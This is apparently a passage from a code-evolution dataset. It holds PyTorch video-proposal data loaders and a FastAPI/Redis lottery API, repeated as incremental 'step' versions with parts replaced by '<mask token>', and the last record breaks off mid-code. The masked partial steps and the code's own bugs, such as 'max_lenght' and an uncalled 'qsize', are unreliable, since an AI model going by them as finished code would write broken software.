gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(ioa_with_anchors(anchor_xmin[\n jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(ioa_with_anchors(anchor_xmin[jdx],\n anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_start, match_score_end, gt_iou_map\n\n def __len__(self):\n return len(self.video_list)\n\n\ndef ioa_with_anchors(anchors_min, anchors_max, box_min, box_max):\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n\ndef iou_with_anchors(anchors_min, anchors_max, box_min, box_max):\n \"\"\"Compute jaccard score between a box and the anchors.\n \"\"\"\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n union_len = len_anchors - inter_len + box_max - box_min\n jaccard = np.divide(inter_len, union_len)\n return jaccard\n\n\nif __name__ == '__main__':\n import opts\n opt = opts.parse_opt()\n opt = vars(opt)\n train_loader = torch.utils.data.DataLoader(BMN_VideoDataSet(opt, subset\n ='train'), batch_size=opt['bmn_batch_size'], shuffle=True,\n num_workers=8, pin_memory=True)\n for a, b, c, d in train_loader:\n print(a.shape, b.shape, c.shape, d.shape)\n break\n", "step-5": "# -*- coding: utf-8 -*-\nimport numpy as np\nimport pandas as pd\nimport pandas\nimport numpy\nimport json\nimport torch.utils.data as data\nimport os\nimport torch\n\ndef load_json(file):\n with open(file) as json_file:\n data = json.load(json_file)\n return data\n\n\nclass VideoDataSet(data.Dataset):\n def __init__(self,opt,subset=\"train\"):\n self.temporal_scale = opt[\"temporal_scale\"] # 时域长度归一化到100\n self.temporal_gap = 1. / self.temporal_scale # 每个snippt时间占比\n self.subset = subset # training validation or test\n self.mode = opt[\"mode\"] # 'train' or 'test'\n self.feature_path = opt[\"feature_path\"] # '特征存放位置'\n self.boundary_ratio = opt[\"boundary_ratio\"] # 0.1 人为扩充boundary的区域长度占总长度的比率\n self.video_info_path = opt[\"video_info\"] # 存在视频信息的csv\n self.video_anno_path = opt[\"video_anno\"] # 存放标记信息的csv\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n # 因为某些视频的特征可能不存在，或者遭到了损坏\n for video in self.video_list:\n if not os.path.exists(self.feature_path + \"csv_mean_\" + str(self.temporal_scale) + \"/\" + video + \".csv\"):\n print(\"video :{} feature csv is not existed\".format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n # 删除已知的错误样本\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print(\"del \" + v +' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n\n print (\"After check: csv \\n %s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n \n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database= load_json(self.video_anno_path)\n self.video_dict = {} # 存放一系列内容，包括gt\n for i in range(len(anno_df)):\n video_name=anno_df.video.values[i]\n video_info=anno_database[video_name]\n video_subset=anno_df.subset.values[i] # 读取该视频属于的子数据集 training validation or test\n if self.subset == \"full\": #全部都要\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info # 是需要的数据集样本添加到字典中\n self.video_list = list(self.video_dict.keys()) # 含有哪些video\n print (\"Before check: csv \\n %s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n\n def __getitem__(self, index):\n video_data,anchor_xmin,anchor_xmax = self._get_base_data(index)\n if self.mode == \"train\":\n match_score_action,match_score_start,match_score_end = self._get_train_label(index,anchor_xmin,anchor_xmax)\n return video_data,match_score_action,match_score_start,match_score_end\n else:\n return index,video_data,anchor_xmin,anchor_xmax\n \n def _get_base_data(self,index):\n video_name=self.video_list[index]\n anchor_xmin=[self.temporal_gap*i for i in range(self.temporal_scale)] # 0.00 d到 0.99\n anchor_xmax=[self.temporal_gap*i for i in range(1,self.temporal_scale+1)] # 0.01到1.00\n try:\n video_df=pd.read_csv(self.feature_path+ \"csv_mean_\"+str(self.temporal_scale)+\"/\"+video_name+\".csv\") # 得到这个视频的特征\n except:\n print('Error in '+video_name+\".csv\")\n video_data = video_df.values[:,:]\n video_data = torch.Tensor(video_data) # 这个video的特征[100, 400]\n video_data = torch.transpose(video_data,0,1) #[400， 100] 便于时域的一维卷积操作\n video_data.float()\n return video_data,anchor_xmin,anchor_xmax\n \n def _get_train_label(self,index,anchor_xmin,anchor_xmax): # 相当于要生成3个概率序列的真值\n video_name=self.video_list[index]\n video_info=self.video_dict[video_name] # 包括duration_second duration_frame annotations and feature_frame 但是这个特征长度已经被归一化了\n video_frame=video_info['duration_frame']\n video_second=video_info['duration_second']\n feature_frame=video_info['feature_frame']\n corrected_second=float(feature_frame)/video_frame*video_second #相当于校准时间因为采用的滑动窗口形式进行提取特征，两个frame会存在一些差异\n video_labels=video_info['annotations']\n \n gt_bbox = []\n for j in range(len(video_labels)): #将时间归一化 0到1之间\n tmp_info=video_labels[j]\n tmp_start=max(min(1,tmp_info['segment'][0]/corrected_second),0)\n tmp_end=max(min(1,tmp_info['segment'][1]/corrected_second),0)\n gt_bbox.append([tmp_start,tmp_end])\n \n gt_bbox=np.array(gt_bbox)\n gt_xmins=gt_bbox[:,0]\n gt_xmaxs=gt_bbox[:,1]\n\n gt_lens=gt_xmaxs-gt_xmins\n gt_len_small=np.maximum(self.temporal_gap,self.boundary_ratio*gt_lens) # starting region 和 ending region的长度\n gt_start_bboxs=np.stack((gt_xmins-gt_len_small/2,gt_xmins+gt_len_small/2),axis=1) # starting region\n gt_end_bboxs=np.stack((gt_xmaxs-gt_len_small/2,gt_xmaxs+gt_len_small/2),axis=1) # ending region\n\n # anchors = np.stack((anchor_xmin, anchor_xmax), 1) # 代表每一个snippet的范围\n match_score_action=[]\n # 给每一个位置计算TEM的三个概率值，但是from 0 to 99 效率不高吧这种方法生成会有大量的无效操作，特别是gt较少的时候，可以后期优化\n for jdx in range(len(anchor_xmin)):\n match_score_action.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_xmins,gt_xmaxs)))\n match_score_start=[]\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_start_bboxs[:,0],gt_start_bboxs[:,1])))\n match_score_end=[]\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_end_bboxs[:,0],gt_end_bboxs[:,1])))\n match_score_action = torch.Tensor(match_score_action)\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_action,match_score_start,match_score_end #3个长度为100的概率序列\n\n def _ioa_with_anchors(self,anchors_min,anchors_max,box_min,box_max):\n len_anchors=anchors_max-anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n def _ioa(self, anchors, gts):\n len_anchors = anchors[:,1] - anchors[:,0]\n int_min = np.maximum(anchors[:,0],gts[:,0])\n int_max = np.minimum(anchors[:,1],gts[:,1])\n np.maximum(np.expand_dims(np.arange(1, 5), 1), np.arange(3))\n\n\n \n def __len__(self):\n return len(self.video_list)\n\n\nclass ProposalDataSet(data.Dataset):\n def __init__(self,opt,subset=\"train\"):\n \n self.subset=subset\n self.mode = opt[\"mode\"]\n if self.mode == \"train\": # 测试与前推时的样本数量是不一样的\n self.top_K = opt[\"pem_top_K\"]\n else:\n self.top_K = opt[\"pem_top_K_inference\"]\n self.video_info_path = opt[\"video_info\"]\n self.video_anno_path = opt[\"video_anno\"]\n self.feature_path = opt[\"feature_path\"] # '特征存放位置'\n self.temporal_scale = opt[\"temporal_scale\"] # 时域长度归一化到100\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n # 因为某些视频的特征可能不存在，或者遭到了损坏\n for video in self.video_list:\n if not os.path.exists(self.feature_path + \"csv_mean_\" + str(self.temporal_scale) + \"/\" + video + \".csv\"):\n print(\"video :{} feature csv is not existed\".format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n # 删除已知的错误样本\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print(\"del \" + v +' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n\n print (\"After check: csv \\n %s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n \n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path) #读取信息\n anno_database= load_json(self.video_anno_path) # 读取相关真值信息\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name=anno_df.video.values[i]\n video_info=anno_database[video_name]\n video_subset=anno_df.subset.values[i]\n if self.subset == \"full\":\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print (\"%s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf=pandas.read_csv(\"./output/PGM_proposals/\"+video_name+\".csv\") # 读取proposal\n pdf=pdf[:self.top_K]\n video_feature = numpy.load(\"./output/PGM_feature/\" + video_name+\".npy\") # read BSP feature for proposals\n video_feature = video_feature[:self.top_K,:]\n #print len(video_feature),len(pdf)\n video_feature = torch.Tensor(video_feature)\n\n if self.mode == \"train\":\n video_match_iou = torch.Tensor(pdf.match_iou.values[:]) # choose IOU as gt 已经在TEM inference阶段计算好\n return video_feature,video_match_iou # [bs, 32] [bs]\n else:\n # 取得proposals的 starting location， ending location, starting score, ending score\n video_xmin =pdf.xmin.values[:]\n video_xmax =pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return video_feature,video_xmin,video_xmax,video_xmin_score,video_xmax_score\n\n\n\ndef load_json(file):\n with open(file) as json_file:\n json_data = json.load(json_file)\n return json_data\n\n\nclass BMN_VideoDataSet(data.Dataset):\n def __init__(self, opt, subset=\"train\"):\n self.temporal_scale = opt[\"temporal_scale\"] # 100\n self.temporal_gap = 1. / self.temporal_scale\n self.subset = subset\n self.mode = opt[\"mode\"]\n self.feature_path = opt[\"feature_path\"]\n self.video_info_path = opt[\"video_info\"]\n self.video_anno_path = opt[\"video_anno\"]\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n # 因为某些视频的特征可能不存在，或者遭到了损坏\n for video in self.video_list:\n if not os.path.exists(self.feature_path + \"csv_mean_\" + str(self.temporal_scale) + \"/\" + video + \".csv\"):\n print(\"video :{} feature csv is not existed\".format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n # 删除已知的错误样本\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print(\"del \" + v +' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n\n print (\"After check: csv \\n %s subset video numbers: %d\" %(self.subset,len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print(\"%s subset video numbers: %d\" % (self.subset, len(self.video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index) # video feature [400, 100]\n if self.mode == \"train\":\n # [D, T] [100, 100] [T=100] [T=100]\n match_score_start, match_score_end, confidence_score = self._get_train_label(index, self.anchor_xmin,\n self.anchor_xmax)\n return video_data,confidence_score, match_score_start, match_score_end\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap * idx # start locaiton 归一化之后的\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx # ending location 加上duration\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map) # 100x100x2 最后一个2代表BM map上面每一个代表的candidate proposals所代表的时域范围 [start, duration, 2]\n match_map = np.transpose(match_map, [1, 0, 2]) # [0.00,0.01] [0.01,0.02] [0.02,0.03].....[0.99,0.100] [duration, start, 2]\n match_map = np.reshape(match_map, [-1, 2]) # [0,2] [1,3] [2,4].....[99,101] # duration x start [100*100, 2]\n self.match_map = match_map # duration is same in row, start is same in col\n self.anchor_xmin = [self.temporal_gap * (i-0.5) for i in range(self.temporal_scale)] # 每一个 snippet 的开始时间\n self.anchor_xmax = [self.temporal_gap * (i+0.5) for i in range(1, self.temporal_scale + 1)] # 每一个 snippet的结束时刻\n # 注意从产生特征的角度来看，上面的anchor min 和anchor max 应该和BSN一样，不减去0.5，\n # 比如第一个特征的就是由0-16帧图片产生，最后一个特征就是-16到-1的图片产生，应该不用减去那个0.5\n # 之后可以通过实验验证一下是否影响精度相反，我觉得上面的match map应该加上0,5 因为每个snippet的中央区域在中间但是因为是离线处理，所以不应该纠结那么多\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + \"csv_mean_\" + str(self.temporal_scale) + \"/\" + video_name + \".csv\")\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second # there are some frames not used\n video_labels = video_info['annotations'] # the measurement is second, not frame\n\n ##############################################################################################\n # change the measurement from second to percentage\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)): #对于每个Proposal\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] / corrected_second), 0) # 归一化时间\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors( # 每一个候选的proposals计算IOU\n self.match_map[:, 0], self.match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map,\n [self.temporal_scale, self.temporal_scale]) # [100, 100] 相当于BM map的label\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map) # [num_gt, 100, 100]\n gt_iou_map = np.max(gt_iou_map, axis=0) # 取最大的IOU作为gt [100, 100]\n gt_iou_map = torch.Tensor(gt_iou_map)\n ##############################################################################################\n\n ####################################################################################################\n # generate R_s and R_e # 构建增强后的start region和ending region\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap # np.maximum(self.temporal_gap, self.boundary_ratio * gt_lens) # 直接用绝对大小代表增强区域的大小\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + gt_len_small / 2), axis=1) # 产生增强之后的两个区域\n #####################################################################################################\n\n ##########################################################################################################\n # calculate the ioa for all timestamp # 计算两个概率序列的真值\n match_score_start = []\n for jdx in range(len(anchor_xmin)): # 针对每一个anchor都计算与gt之间的ioa作为真值\n match_score_start.append(np.max(\n ioa_with_anchors(anchor_xmin[jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0], gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(\n ioa_with_anchors(anchor_xmin[jdx], anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n ############################################################################################################\n\n return match_score_start, match_score_end, gt_iou_map # 三个真值 [100], [100], [100,100]\n\n def __len__(self):\n return len(self.video_list)\n\ndef ioa_with_anchors(anchors_min, anchors_max, box_min, box_max):\n # calculate the overlap proportion between the anchor and all bbox for supervise signal,\n # the length of the anchor is 0.01\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n\ndef iou_with_anchors(anchors_min, anchors_max, box_min, box_max):\n \"\"\"Compute jaccard score between a box and the anchors.\n \"\"\"\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.)\n union_len = len_anchors - inter_len + box_max - box_min\n # print inter_len,union_len\n jaccard = np.divide(inter_len, union_len)\n return jaccard\n\nif __name__ == '__main__':\n import opts\n opt = opts.parse_opt()\n opt = vars(opt)\n # test dataset for BMN network\n train_loader = torch.utils.data.DataLoader(BMN_VideoDataSet(opt, subset=\"train\"),\n batch_size=opt[\"bmn_batch_size\"], shuffle=True,\n num_workers=8, pin_memory=True)\n for a,b,c,d in train_loader:\n print(a.shape,b.shape,c.shape,d.shape)\n break", "step-ids": [ 17, 21, 28, 31, 32 ] }

[ 17, 21, 28, 31, 32 ]

from typing import Optional,List from fastapi import FastAPI from pydantic import BaseModel, Field from redisqueue import RedisQueue,MyRedis import random class Award(BaseModel): name: str count: int class Item(BaseModel): luckname: str = Field(...,title="抽奖规则名称",max_lenght = 300) total: int = Field(...,title="抽奖总人数",gt=0) award: Optional[List[Award]] = Field(None,title="奖品列表") other: str = Field(...,title="参与奖或者未中奖") app = FastAPI() class ResSuccess(BaseModel): ret: int = 0 data @app.get('/') def read_root(): return {"Hello":"World"} @app.post( '/delect', tags = ["抽奖接口"], summary = "删除抽奖规则" ) def delect(name:str): rq = RedisQueue(name) if rq.qsize: rq.lpop(name) return { 'ret':0, 'msg':"删除成功" } @app.post( '/creat', tags = ['抽奖接口'], summary="创建抽奖规则" ) def creat(item: Item): """ 通过该接口可以创建一个抽奖规则 """ myredis = MyRedis() rq = RedisQueue(item.luckname) print("ok") if rq.qsize(): return { "ret":500, "msg":"该抽奖已经存在，请删除后重试" } result = {"ret":0, "item":item} awardlist = item.award lucklist =[] luckdict = {} for ward in awardlist: luckdict[ward.name] = ward.count for i in range(ward.count): lucklist.append(ward.name) othercount = item.total - len(lucklist) if othercount: luckdict[item.other] = othercount others = [item.other] * othercount lucklist = lucklist + others random.shuffle(lucklist) print(lucklist) for luck in lucklist: rq.put(luck) myredis.hmset(item.luckname,luckdict) result = { 'ret': 0, 'msg': "succses" } return result @app.get('/luck', tags = ["抽奖接口"], summary="抽奖接口") def luck(id: int,luckname: str): """ 开始抽奖 """ rd = RedisQueue(luckname) myredis = MyRedis() winner = luckname+"_winner" if myredis.hexists(winner,id): return { "ret":0, "msg":"您已经抽过了，不能再抽了" } award = rd.get_nowait() if award: myredis.hset(winner,id,award) myredis.hincrby(luckname,award,-1) result = { "ret":0, 'data':{ "flag":1, "msg":"恭喜你中奖了", "award":award } } else: result = { "ret":0, 'data':{ "flag":0, "msg":"奖抽完了", } } return result @app.get('/luckman',tags = ["抽奖接口"],summary="查看中奖名单") def luckman(luckname: str): myredis = MyRedis() winner = luckname + "_winner" winnerlist = myredis.hgetall(winner) print(winnerlist) return { "ret":0, "data":winnerlist } @app.get('/remaining',tags = ["抽奖接口"],summary="查看剩余奖品列表") def Remaining(luckname: str): myredis = MyRedis() remainlist = myredis.hgetall(luckname) print(remainlist) return { "ret":0, "data":remainlist }

normal

{ "blob_id": "4550ed971eef36badf46a44adcc593324a5292cf", "index": 2637, "step-1": "<mask token>\n\n\nclass Award(BaseModel):\n name: str\n count: int\n\n\nclass Item(BaseModel):\n luckname: str = Field(..., title='抽奖规则名称', max_lenght=300)\n total: int = Field(..., title='抽奖总人数', gt=0)\n award: Optional[List[Award]] = Field(None, title='奖品列表')\n other: str = Field(..., title='参与奖或者未中奖')\n\n\n<mask token>\n\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n\n<mask token>\n\n\n@app.post('/delect', tags=['抽奖接口'], summary='删除抽奖规则')\ndef delect(name: str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {'ret': 0, 'msg': '删除成功'}\n\n\n@app.post('/creat', tags=['抽奖接口'], summary='创建抽奖规则')\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n print('ok')\n if rq.qsize():\n return {'ret': 500, 'msg': '该抽奖已经存在，请删除后重试'}\n result = {'ret': 0, 'item': item}\n awardlist = item.award\n lucklist = []\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n myredis.hmset(item.luckname, luckdict)\n result = {'ret': 0, 'msg': 'succses'}\n return result\n\n\n@app.get('/luck', tags=['抽奖接口'], summary='抽奖接口')\ndef luck(id: int, luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname + '_winner'\n if myredis.hexists(winner, id):\n return {'ret': 0, 'msg': '您已经抽过了，不能再抽了'}\n award = rd.get_nowait()\n if award:\n myredis.hset(winner, id, award)\n myredis.hincrby(luckname, award, -1)\n result = {'ret': 0, 'data': {'flag': 1, 'msg': '恭喜你中奖了', 'award':\n award}}\n else:\n result = {'ret': 0, 'data': {'flag': 0, 'msg': '奖抽完了'}}\n return result\n\n\n<mask token>\n\n\n@app.get('/remaining', tags=['抽奖接口'], summary='查看剩余奖品列表')\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {'ret': 0, 'data': remainlist}\n", "step-2": "<mask token>\n\n\nclass Award(BaseModel):\n name: str\n count: int\n\n\nclass Item(BaseModel):\n luckname: str = Field(..., title='抽奖规则名称', max_lenght=300)\n total: int = Field(..., title='抽奖总人数', gt=0)\n award: Optional[List[Award]] = Field(None, title='奖品列表')\n other: str = Field(..., title='参与奖或者未中奖')\n\n\n<mask token>\n\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n\n<mask token>\n\n\n@app.post('/delect', tags=['抽奖接口'], summary='删除抽奖规则')\ndef delect(name: str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {'ret': 0, 'msg': '删除成功'}\n\n\n@app.post('/creat', tags=['抽奖接口'], summary='创建抽奖规则')\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n print('ok')\n if rq.qsize():\n return {'ret': 500, 'msg': '该抽奖已经存在，请删除后重试'}\n result = {'ret': 0, 'item': item}\n awardlist = item.award\n lucklist = []\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n myredis.hmset(item.luckname, luckdict)\n result = {'ret': 0, 'msg': 'succses'}\n return result\n\n\n@app.get('/luck', tags=['抽奖接口'], summary='抽奖接口')\ndef luck(id: int, luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname + '_winner'\n if myredis.hexists(winner, id):\n return {'ret': 0, 'msg': '您已经抽过了，不能再抽了'}\n award = rd.get_nowait()\n if award:\n myredis.hset(winner, id, award)\n myredis.hincrby(luckname, award, -1)\n result = {'ret': 0, 'data': {'flag': 1, 'msg': '恭喜你中奖了', 'award':\n award}}\n else:\n result = {'ret': 0, 'data': {'flag': 0, 'msg': '奖抽完了'}}\n return result\n\n\n@app.get('/luckman', tags=['抽奖接口'], summary='查看中奖名单')\ndef luckman(luckname: str):\n myredis = MyRedis()\n winner = luckname + '_winner'\n winnerlist = myredis.hgetall(winner)\n print(winnerlist)\n return {'ret': 0, 'data': winnerlist}\n\n\n@app.get('/remaining', tags=['抽奖接口'], summary='查看剩余奖品列表')\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {'ret': 0, 'data': remainlist}\n", "step-3": "<mask token>\n\n\nclass Award(BaseModel):\n name: str\n count: int\n\n\nclass Item(BaseModel):\n luckname: str = Field(..., title='抽奖规则名称', max_lenght=300)\n total: int = Field(..., title='抽奖总人数', gt=0)\n award: Optional[List[Award]] = Field(None, title='奖品列表')\n other: str = Field(..., title='参与奖或者未中奖')\n\n\napp = FastAPI()\n\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n\n@app.get('/')\ndef read_root():\n return {'Hello': 'World'}\n\n\n@app.post('/delect', tags=['抽奖接口'], summary='删除抽奖规则')\ndef delect(name: str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {'ret': 0, 'msg': '删除成功'}\n\n\n@app.post('/creat', tags=['抽奖接口'], summary='创建抽奖规则')\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n print('ok')\n if rq.qsize():\n return {'ret': 500, 'msg': '该抽奖已经存在，请删除后重试'}\n result = {'ret': 0, 'item': item}\n awardlist = item.award\n lucklist = []\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n myredis.hmset(item.luckname, luckdict)\n result = {'ret': 0, 'msg': 'succses'}\n return result\n\n\n@app.get('/luck', tags=['抽奖接口'], summary='抽奖接口')\ndef luck(id: int, luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname + '_winner'\n if myredis.hexists(winner, id):\n return {'ret': 0, 'msg': '您已经抽过了，不能再抽了'}\n award = rd.get_nowait()\n if award:\n myredis.hset(winner, id, award)\n myredis.hincrby(luckname, award, -1)\n result = {'ret': 0, 'data': {'flag': 1, 'msg': '恭喜你中奖了', 'award':\n award}}\n else:\n result = {'ret': 0, 'data': {'flag': 0, 'msg': '奖抽完了'}}\n return result\n\n\n@app.get('/luckman', tags=['抽奖接口'], summary='查看中奖名单')\ndef luckman(luckname: str):\n myredis = MyRedis()\n winner = luckname + '_winner'\n winnerlist = myredis.hgetall(winner)\n print(winnerlist)\n return {'ret': 0, 'data': winnerlist}\n\n\n@app.get('/remaining', tags=['抽奖接口'], summary='查看剩余奖品列表')\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {'ret': 0, 'data': remainlist}\n", "step-4": "from typing import Optional, List\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel, Field\nfrom redisqueue import RedisQueue, MyRedis\nimport random\n\n\nclass Award(BaseModel):\n name: str\n count: int\n\n\nclass Item(BaseModel):\n luckname: str = Field(..., title='抽奖规则名称', max_lenght=300)\n total: int = Field(..., title='抽奖总人数', gt=0)\n award: Optional[List[Award]] = Field(None, title='奖品列表')\n other: str = Field(..., title='参与奖或者未中奖')\n\n\napp = FastAPI()\n\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n\n@app.get('/')\ndef read_root():\n return {'Hello': 'World'}\n\n\n@app.post('/delect', tags=['抽奖接口'], summary='删除抽奖规则')\ndef delect(name: str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {'ret': 0, 'msg': '删除成功'}\n\n\n@app.post('/creat', tags=['抽奖接口'], summary='创建抽奖规则')\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = 